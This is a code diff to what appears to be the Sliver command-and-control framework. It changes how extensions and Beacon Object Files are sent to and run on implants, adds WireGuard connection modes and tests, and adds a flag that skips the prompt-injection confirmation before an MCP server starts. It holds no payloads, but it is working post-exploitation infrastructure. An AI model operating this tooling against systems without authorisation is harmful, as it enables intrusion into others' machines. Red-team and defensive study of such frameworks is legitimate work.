Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
@@ -100,6 +115,7 @@ type ExtCommand struct {
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
BOFExecutor string `json:"bof_executor"`
|
||||
Init string `json:"init"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
@@ -218,9 +234,11 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
{
|
||||
CommandName: old.CommandName,
|
||||
DependsOn: old.DependsOn,
|
||||
BOFExecutor: old.BOFExecutor,
|
||||
Help: old.Help,
|
||||
LongHelp: old.LongHelp,
|
||||
Entrypoint: old.Entrypoint,
|
||||
Init: old.Init,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
Schema: nil,
|
||||
@@ -270,6 +288,15 @@ func validManifest(manifest *ExtensionManifest) error {
|
||||
if extManifest.CommandName == "" {
|
||||
return errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
switch extManifest.BOFExecutor {
|
||||
case "", BOFExecutorReflektor:
|
||||
case BOFExecutorCOFFLoader:
|
||||
if strings.TrimSpace(extManifest.DependsOn) == "" {
|
||||
return fmt.Errorf("command %q uses bof_executor %q but has no `depends_on` fallback", extManifest.CommandName, BOFExecutorCOFFLoader)
|
||||
}
|
||||
default:
|
||||
return fmt.Errorf("command %q has invalid `bof_executor` %q (must be %q or %q)", extManifest.CommandName, extManifest.BOFExecutor, BOFExecutorReflektor, BOFExecutorCOFFLoader)
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
@@ -471,44 +498,30 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
sess, _ := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if sess != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp == nil {
|
||||
return errors.New("received empty register extension response")
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
@@ -531,6 +544,89 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func planExtensionExecution(ext *ExtCommand, binPath string, capabilities uint64) (extensionExecutionMode, error) {
|
||||
isBOF := ext.BOFExecutor != "" || strings.EqualFold(filepath.Ext(binPath), ".o")
|
||||
if !isBOF {
|
||||
return extensionExecutionNative, nil
|
||||
}
|
||||
dependsOn := strings.TrimSpace(ext.DependsOn)
|
||||
|
||||
switch ext.BOFExecutor {
|
||||
case BOFExecutorCOFFLoader:
|
||||
if dependsOn == "" {
|
||||
return extensionExecutionNative, fmt.Errorf("BOF command %q selects %q but has no depends_on loader", ext.CommandName, BOFExecutorCOFFLoader)
|
||||
}
|
||||
return extensionExecutionCOFFLoader, nil
|
||||
case "":
|
||||
// Existing manifests infer the loader from depends_on. Keep that route
|
||||
// even when the target supports the built-in executor.
|
||||
if dependsOn != "" {
|
||||
return extensionExecutionCOFFLoader, nil
|
||||
}
|
||||
case BOFExecutorReflektor:
|
||||
default:
|
||||
return extensionExecutionNative, fmt.Errorf("BOF command %q has invalid bof_executor %q", ext.CommandName, ext.BOFExecutor)
|
||||
}
|
||||
|
||||
if capabilities&sliverpb.CapabilityBOFV1 != 0 {
|
||||
return extensionExecutionReflektor, nil
|
||||
}
|
||||
if dependsOn != "" {
|
||||
return extensionExecutionCOFFLoader, nil
|
||||
}
|
||||
return extensionExecutionNative, fmt.Errorf("target does not support built-in Reflektor BOF execution and command %q has no depends_on fallback", ext.CommandName)
|
||||
}
|
||||
|
||||
func activeTargetCapabilities(session *clientpb.Session, beacon *clientpb.Beacon) uint64 {
|
||||
if session != nil {
|
||||
return session.Capabilities
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Capabilities
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func buildCallExtensionRequest(goos string, goarch string, mode extensionExecutionMode, ext *ExtCommand, binPath string, entryPoint string, extensionArgs []byte) (*sliverpb.CallExtensionReq, error) {
|
||||
extData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bd := sha256.Sum256(extData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
|
||||
if mode == extensionExecutionCOFFLoader {
|
||||
loader, found := loadedExtensions[ext.DependsOn]
|
||||
if !found {
|
||||
return nil, fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
}
|
||||
loaderPath, err := loader.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not get file for extension %s: %w", ext.DependsOn, err)
|
||||
}
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dep read file error: %w", err)
|
||||
}
|
||||
if len(loaderData) == 0 {
|
||||
return nil, fmt.Errorf("read empty file: %s", loaderPath)
|
||||
}
|
||||
bd = sha256.Sum256(loaderData)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
}
|
||||
|
||||
req := &sliverpb.CallExtensionReq{
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
}
|
||||
if mode == extensionExecutionReflektor {
|
||||
req.BOFData = extData
|
||||
req.IsBOF = true
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// The command runs with DisableFlagParsing, so args is the raw, unstripped
|
||||
// slice. Separate Sliver-owned flags from the extension's own arguments and
|
||||
@@ -570,27 +666,32 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
executionMode, err := planExtensionExecution(ext, binPath, activeTargetCapabilities(session, beacon))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not execute extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
if executionMode != extensionExecutionReflektor {
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// that either use the built-in Reflektor executor or another extension.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
switch executionMode {
|
||||
case extensionExecutionCOFFLoader:
|
||||
// Legacy COFF loaders expect the entrypoint, object, and typed argument
|
||||
// buffer packed into the existing outer argument envelope.
|
||||
extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
@@ -598,7 +699,15 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
case extensionExecutionReflektor:
|
||||
extensionArgs, err = ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
default:
|
||||
// Regular DLL - Just join the arguments with spaces
|
||||
if len(args) > 0 {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
@@ -612,45 +721,15 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
extdata, err := os.ReadFile(binPath)
|
||||
callExtReq, err := buildCallExtensionRequest(goos, goarch, executionMode, ext, binPath, entryPoint, extensionArgs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext read file error: %s\n", err)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
con.PrintErrorf("Could not prepare extension call: %s\n", err)
|
||||
return
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
if isBOF {
|
||||
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
|
||||
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
dep, err := extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
depdata, err := os.ReadFile(dep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("dep read file error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(depdata) == 0 {
|
||||
con.PrintErrorf("read empty file: %s\n", dep)
|
||||
return
|
||||
}
|
||||
bd = sha256.Sum256(depdata)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
} else {
|
||||
// handle error
|
||||
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
callExtReq.Request = con.ActiveTarget.Request(cmd)
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), callExtReq)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
@@ -865,37 +944,22 @@ func makeExtensionFlagNameCompletion(extCmd *ExtCommand) carapace.Action {
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
supportedTargets := make(map[string]struct{}, len(extCmd.Files))
|
||||
for _, file := range extCmd.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
supportedTargets[file.OS+"/"+file.Arch] = struct{}{}
|
||||
}
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
// Console command filters are hide-on-match, so annotate the command with
|
||||
// every exact target pair it does not support. A separate fallback hides all
|
||||
// native extensions on target pairs outside the supported loader matrix.
|
||||
filters := []string{consts.NativeExtensionUnsupportedTargetFilter}
|
||||
for _, target := range consts.NativeExtensionTargets() {
|
||||
if _, supported := supportedTargets[target.GOOS+"/"+target.GOARCH]; !supported {
|
||||
filters = append(filters, target.Filter)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
appConsole.CommandFilterKey: strings.Join(all, ","),
|
||||
appConsole.CommandFilterKey: strings.Join(filters, ","),
|
||||
}
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -100,21 +99,11 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// If path is outside extensions directory, prompt for confirmation
|
||||
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
|
||||
confirm := false
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName), &confirm)
|
||||
if !confirm {
|
||||
// Skip the forceRemoveAll but continue with the rest
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
// Only installed extensions are owned by Sliver and may be deleted.
|
||||
// Temporarily loaded extensions can live in arbitrary source directories.
|
||||
if isWithinExtensionsDir(extPath) {
|
||||
forceRemoveAll(extPath)
|
||||
}
|
||||
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
@@ -124,6 +113,14 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func isWithinExtensionsDir(extPath string) bool {
|
||||
relPath, err := filepath.Rel(assets.GetExtensionsDir(), extPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return relPath != "." && filepath.IsLocal(relPath)
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
|
||||
@@ -87,6 +87,7 @@ var (
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
"windows/arm64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
|
||||
@@ -38,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.String("listen", defaultConfig.ListenAddress, "listen address for the MCP server")
|
||||
f.String("name", defaultConfig.ServerName, "server name for MCP initialize")
|
||||
f.String("version", defaultConfig.ServerVersion, "server version for MCP initialize")
|
||||
f.BoolP("yes", "y", false, "skip the prompt-injection confirmation (broken or non-interactive terminals)")
|
||||
})
|
||||
flags.BindFlagCompletions(startCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["transport"] = carapace.ActionValues("http", "sse")
|
||||
|
||||
@@ -32,6 +32,9 @@ func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.Printf("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.Printf("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
|
||||
if status.Running && !status.StartedAt.IsZero() {
|
||||
uptime := time.Since(status.StartedAt).Truncate(time.Second)
|
||||
|
||||
@@ -28,8 +28,10 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}.WithDefaults()
|
||||
|
||||
msg := `Do you know what prompt injection is and are you an adult?`
|
||||
if !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
skipConfirm, _ := cmd.Flags().GetBool("yes")
|
||||
if !skipConfirm && !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
con.PrintErrorf("Failed to start MCP server, the user is not qualified to use feature\n")
|
||||
con.PrintInfof("Use --yes to skip the confirmation prompt, or toggle it with 'settings autoadult'\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -50,4 +52,7 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.PrintInfof("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.PrintInfof("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
}
|
||||
@@ -50,7 +50,12 @@ func IsUserAnAdultWithPrompt(con *console.SliverClient, prompt string) bool {
|
||||
return true
|
||||
}
|
||||
confirm := false
|
||||
_ = forms.Confirm(prompt, &confirm)
|
||||
if err := forms.Confirm(prompt, &confirm); err != nil {
|
||||
// The interactive form is known to fail on some terminals (#2133);
|
||||
// surface the error instead of silently treating it as a rejection.
|
||||
con.PrintErrorf("Confirmation prompt failed: %s\n", err)
|
||||
return false
|
||||
}
|
||||
return confirm
|
||||
}
|
||||
|
||||
|
||||
@@ -61,7 +61,7 @@ func (con *SliverClient) SetConnection(rpc rpcpb.SliverRPCClient, grpcConn *grpc
|
||||
con.BeaconTaskCallbacksMutex.Unlock()
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
|
||||
if details != nil && details.Config != nil && details.Config.WG != nil {
|
||||
if useDedicatedCommandConnection(details) {
|
||||
con.backgroundDedicated = true
|
||||
commandRPC, commandConn, err := transport.MTLSConnect(details.Config)
|
||||
if err != nil {
|
||||
@@ -110,6 +110,12 @@ func (con *SliverClient) SetConnection(rpc rpcpb.SliverRPCClient, grpcConn *grpc
|
||||
return nil
|
||||
}
|
||||
|
||||
func useDedicatedCommandConnection(details *ConnectionDetails) bool {
|
||||
return details != nil &&
|
||||
details.Config != nil &&
|
||||
transport.MultiplayerConnectUsesWireGuard(details.Config)
|
||||
}
|
||||
|
||||
// CloseConnection stops background loops and closes the current gRPC connection.
|
||||
func (con *SliverClient) CloseConnection() error {
|
||||
con.connMu.Lock()
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
package console
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
)
|
||||
|
||||
func TestDedicatedCommandConnectionUsesEffectiveWireGuardMode(t *testing.T) {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
t.Cleanup(func() {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
})
|
||||
|
||||
legacyDetails := &ConnectionDetails{Config: completeWireGuardClientConfig(false)}
|
||||
if useDedicatedCommandConnection(legacyDetails) {
|
||||
t.Fatal("expected auto mode to keep an unmarked legacy config on direct mTLS")
|
||||
}
|
||||
|
||||
enabledDetails := &ConnectionDetails{Config: completeWireGuardClientConfig(true)}
|
||||
if !useDedicatedCommandConnection(enabledDetails) {
|
||||
t.Fatal("expected auto mode to use a dedicated connection for an explicitly enabled config")
|
||||
}
|
||||
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectEnableWG)
|
||||
if !useDedicatedCommandConnection(legacyDetails) {
|
||||
t.Fatal("expected force-enable mode to use a dedicated connection with a complete legacy config")
|
||||
}
|
||||
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectDisableWG)
|
||||
if useDedicatedCommandConnection(enabledDetails) {
|
||||
t.Fatal("expected force-disable mode to keep an enabled config on direct mTLS")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDedicatedCommandConnectionRejectsIncompleteEnabledConfig(t *testing.T) {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
t.Cleanup(func() {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
})
|
||||
|
||||
details := &ConnectionDetails{
|
||||
Config: &assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{Enabled: true},
|
||||
},
|
||||
}
|
||||
if useDedicatedCommandConnection(details) {
|
||||
t.Fatal("expected an incomplete enabled config not to select a dedicated connection")
|
||||
}
|
||||
}
|
||||
|
||||
func completeWireGuardClientConfig(enabled bool) *assets.ClientConfig {
|
||||
return &assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
Enabled: enabled,
|
||||
ServerPubKey: "server-pub",
|
||||
ClientPrivateKey: "client-priv",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1147,6 +1147,7 @@ func (con *SliverClient) ExposeCommands() {
|
||||
case con.ActiveTarget.session != nil:
|
||||
session := con.ActiveTarget.session
|
||||
filters = append(filters, consts.BeaconCmdsFilter)
|
||||
filters = append(filters, consts.NativeExtensionTargetFilter(session.OS, session.Arch))
|
||||
|
||||
// Operating system
|
||||
if session.OS != "windows" {
|
||||
@@ -1161,6 +1162,7 @@ func (con *SliverClient) ExposeCommands() {
|
||||
case con.ActiveTarget.beacon != nil:
|
||||
beacon := con.ActiveTarget.beacon
|
||||
filters = append(filters, consts.SessionCmdsFilter)
|
||||
filters = append(filters, consts.NativeExtensionTargetFilter(beacon.OS, beacon.Arch))
|
||||
|
||||
// Operating system
|
||||
if beacon.OS != "windows" {
|
||||
|
||||
@@ -363,8 +363,53 @@ const (
|
||||
BeaconCmdsFilter = "beacon"
|
||||
WindowsCmdsFilter = "windows"
|
||||
WireguardCmdsFilter = "wireguard"
|
||||
|
||||
NativeExtensionUnsupportedTargetFilter = "native-extension:unsupported"
|
||||
NativeExtensionDarwinAMD64Filter = "native-extension:darwin/amd64"
|
||||
NativeExtensionDarwinARM64Filter = "native-extension:darwin/arm64"
|
||||
NativeExtensionLinux386Filter = "native-extension:linux/386"
|
||||
NativeExtensionLinuxAMD64Filter = "native-extension:linux/amd64"
|
||||
NativeExtensionLinuxARM64Filter = "native-extension:linux/arm64"
|
||||
NativeExtensionWindows386Filter = "native-extension:windows/386"
|
||||
NativeExtensionWindowsAMD64Filter = "native-extension:windows/amd64"
|
||||
NativeExtensionWindowsARM64Filter = "native-extension:windows/arm64"
|
||||
)
|
||||
|
||||
// NativeExtensionTarget identifies a GOOS/GOARCH pair supported by native
|
||||
// implant extensions and the command filter associated with that exact pair.
|
||||
type NativeExtensionTarget struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Filter string
|
||||
}
|
||||
|
||||
var nativeExtensionTargets = [8]NativeExtensionTarget{
|
||||
{GOOS: "darwin", GOARCH: "amd64", Filter: NativeExtensionDarwinAMD64Filter},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Filter: NativeExtensionDarwinARM64Filter},
|
||||
{GOOS: "linux", GOARCH: "386", Filter: NativeExtensionLinux386Filter},
|
||||
{GOOS: "linux", GOARCH: "amd64", Filter: NativeExtensionLinuxAMD64Filter},
|
||||
{GOOS: "linux", GOARCH: "arm64", Filter: NativeExtensionLinuxARM64Filter},
|
||||
{GOOS: "windows", GOARCH: "386", Filter: NativeExtensionWindows386Filter},
|
||||
{GOOS: "windows", GOARCH: "amd64", Filter: NativeExtensionWindowsAMD64Filter},
|
||||
{GOOS: "windows", GOARCH: "arm64", Filter: NativeExtensionWindowsARM64Filter},
|
||||
}
|
||||
|
||||
// NativeExtensionTargets returns the supported native extension target matrix.
|
||||
func NativeExtensionTargets() [8]NativeExtensionTarget {
|
||||
return nativeExtensionTargets
|
||||
}
|
||||
|
||||
// NativeExtensionTargetFilter returns the filter for an exact supported target.
|
||||
// Unsupported pairs share a filter that hides all native extension commands.
|
||||
func NativeExtensionTargetFilter(goos string, goarch string) string {
|
||||
for _, target := range nativeExtensionTargets {
|
||||
if target.GOOS == goos && target.GOARCH == goarch {
|
||||
return target.Filter
|
||||
}
|
||||
}
|
||||
return NativeExtensionUnsupportedTargetFilter
|
||||
}
|
||||
|
||||
// Creds (needed here to avoid recursive imports).
|
||||
const (
|
||||
UserColonHashNewlineFormat = "user:hash" // username:hash\n
|
||||
|
||||
@@ -11,8 +11,21 @@ import (
|
||||
type MultiplayerConnectMode int
|
||||
|
||||
const (
|
||||
MultiplayerConnectDirect MultiplayerConnectMode = iota
|
||||
// MultiplayerConnectAuto follows the explicit WireGuard opt-in recorded in
|
||||
// the operator config.
|
||||
MultiplayerConnectAuto MultiplayerConnectMode = iota
|
||||
// MultiplayerConnectEnableWG forces WireGuard for complete configs,
|
||||
// including legacy configs that predate the explicit opt-in marker.
|
||||
MultiplayerConnectEnableWG
|
||||
// MultiplayerConnectDisableWG forces direct multiplayer mTLS.
|
||||
MultiplayerConnectDisableWG
|
||||
|
||||
// MultiplayerConnectDirect is retained as a source-compatible alias for
|
||||
// callers that explicitly select direct multiplayer mTLS.
|
||||
MultiplayerConnectDirect = MultiplayerConnectDisableWG
|
||||
// MultiplayerConnectRequireWG is retained for source compatibility.
|
||||
// Deprecated: use MultiplayerConnectEnableWG.
|
||||
MultiplayerConnectRequireWG = MultiplayerConnectEnableWG
|
||||
)
|
||||
|
||||
type connectionCloser interface {
|
||||
@@ -21,7 +34,7 @@ type connectionCloser interface {
|
||||
|
||||
var (
|
||||
multiplayerConnectModeMu sync.RWMutex
|
||||
multiplayerConnectMode = MultiplayerConnectDirect
|
||||
multiplayerConnectMode = MultiplayerConnectAuto
|
||||
connClosers sync.Map // *grpc.ClientConn -> connectionCloser
|
||||
)
|
||||
|
||||
|
||||
@@ -104,17 +104,36 @@ func selectMultiplayerDialStrategy(config *assets.ClientConfig) (multiplayerDial
|
||||
return multiplayerDialDirect, errors.New("client config is required")
|
||||
}
|
||||
|
||||
switch getMultiplayerConnectMode() {
|
||||
mode := getMultiplayerConnectMode()
|
||||
switch mode {
|
||||
case MultiplayerConnectDisableWG:
|
||||
return multiplayerDialDirect, nil
|
||||
case MultiplayerConnectEnableWG:
|
||||
if err := validateWireGuardConfig(config); err != nil {
|
||||
return multiplayerDialDirect, err
|
||||
}
|
||||
return multiplayerDialWireGuard, nil
|
||||
case MultiplayerConnectAuto:
|
||||
if config.WG == nil || !config.WG.Enabled {
|
||||
return multiplayerDialDirect, nil
|
||||
}
|
||||
if err := validateWireGuardConfig(config); err != nil {
|
||||
return multiplayerDialDirect, err
|
||||
}
|
||||
return multiplayerDialWireGuard, nil
|
||||
default:
|
||||
return multiplayerDialDirect, nil
|
||||
return multiplayerDialDirect, fmt.Errorf("invalid multiplayer connect mode %d", mode)
|
||||
}
|
||||
}
|
||||
|
||||
// MultiplayerConnectUsesWireGuard reports whether the current mode and
|
||||
// operator config select the WireGuard wrapper. Invalid WireGuard configs
|
||||
// report false; the initial multiplayer dial returns the validation error.
|
||||
func MultiplayerConnectUsesWireGuard(config *assets.ClientConfig) bool {
|
||||
strategy, err := selectMultiplayerDialStrategy(config)
|
||||
return err == nil && strategy == multiplayerDialWireGuard
|
||||
}
|
||||
|
||||
func directMTLSConnect(config *assets.ClientConfig, statusFn ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||
notifyConnectStatus(statusFn, connectStatusGRPCMTLS)
|
||||
options, err := newMTLSDialOptions(config)
|
||||
|
||||
@@ -10,8 +10,14 @@ import (
|
||||
"google.golang.org/grpc/credentials/insecure"
|
||||
)
|
||||
|
||||
func TestSelectMultiplayerDialStrategyLegacyConfigUsesDirectMTLS(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
|
||||
func TestMultiplayerConnectModeDefaultsToAuto(t *testing.T) {
|
||||
if mode := getMultiplayerConnectMode(); mode != MultiplayerConnectAuto {
|
||||
t.Fatalf("expected auto to be the default multiplayer mode, got %v", mode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyAutoWithoutWGConfigUsesDirectMTLS(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectAuto)
|
||||
|
||||
strategy, err := selectMultiplayerDialStrategy(&assets.ClientConfig{})
|
||||
if err != nil {
|
||||
@@ -22,15 +28,10 @@ func TestSelectMultiplayerDialStrategyLegacyConfigUsesDirectMTLS(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMultiplayerDialStrategyDefaultIgnoresIncompleteWGConfig(t *testing.T) {
|
||||
setTestMultiplayerConnectMode(t, MultiplayerConnectDirect)
|
||||
func TestSelectMultiplayerDialStrategyAutoLegacyWGConfigUsesDirectMTLS(t *testing.T) {
|
||||
